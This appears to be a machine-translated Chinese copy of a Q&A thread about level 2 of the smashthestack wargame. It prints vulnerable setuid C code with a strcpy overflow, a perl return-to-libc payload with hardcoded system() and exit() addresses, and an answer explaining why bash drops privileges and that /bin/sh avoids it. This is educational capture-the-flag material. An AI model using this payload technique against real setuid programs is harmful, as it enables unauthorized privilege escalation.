2017-09-13 119 views
0

我試圖通過這個「遊戲」http://smashthestack.org/faq.html(通過黑盒服務器上的SSH連接),包含一個基本的緩衝區溢出的水平2。BOF與非執行堆棧

在目錄/ home /級別2(有用於與包含該級別的密碼文件中的每個級別的一個目錄)有稱爲getowner一個可執行文件和它的源代碼:

#include <stdio.h> 
#include <sys/types.h> 
#include <sys/stat.h> 
#include <unistd.h> 
#include <stdlib.h> 

int main(int argc, char **argv) 
{ 
    char *filename; 
    char buf[128]; 

    if((filename = getenv("filename")) == NULL) { 
     printf("No filename configured!\n"); 
     return 1; 
    } 

    while(*filename == '/') 
     filename++; 
    strcpy(buf, "/tmp/"); 
    strcpy(&buf[strlen(buf)], filename); 

    struct stat stbuf; 
    stat(buf, &stbuf); 
    printf("The owner of this file is: %d\n", stbuf.st_uid); 

    return 0; 
} 

的那些擁有可執行文件的用戶是3級

[email protected]:~$ ls -lisa getowner 
2370021 8 -rwsr-x--- 1 level3 gamers 7797 2017-05-24 01:56 getowner 

所以,如果我能利用緩衝區溢出併產生一個殼爲3級,我可以讀取文件/ home/3級/密碼,得到密碼,並贏得了水平:我對嗎?

所以

1)我試圖在環境變量中上傳的shellcode和僞造文件名可變在堆棧中返回的shellcode的修改返回地址,但你可以看到

[email protected]:~$ readelf -l getowner | grep GNU_STACK 
    GNU_STACK  0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4 

堆棧中的代碼無法執行。

2)然後,我嘗試使用Return-to-libc攻擊和呼叫系統(如/ bin/bash)的,但在催生殼我仍然level2的用戶:(

[email protected]:~$ export filename=$(perl -e 'print "a" x135;print "\xb0\x59\xee\xb7" ; print "\x20\xb4\xed\xb7" ; print "\x32\xfe\xff\xbf"') 
[email protected]:~$ ./getowner 
The owner of this file is: -1207961948 
bash-3.1$ id 
uid=1003(level2) gid=1005(gamers) gruppi=1003(level2),1005(gamers) 

在哪裏0xb7ee59b0系統()的地址,0xb7edb420是退出()和0xbffffe32的地址字符串/斌/慶典的地址。

做我還有其他的選擇或者是我看錯了?

回答

0

你的第二個方法是正確的,但你應該使用/bin/sh或(/bin/dash如果/bin/sh是符號鏈接/bin/bash)。

bash首先要做的就是將euid的權限降爲uid。有關更多詳細信息,請參見this stackexchange答案。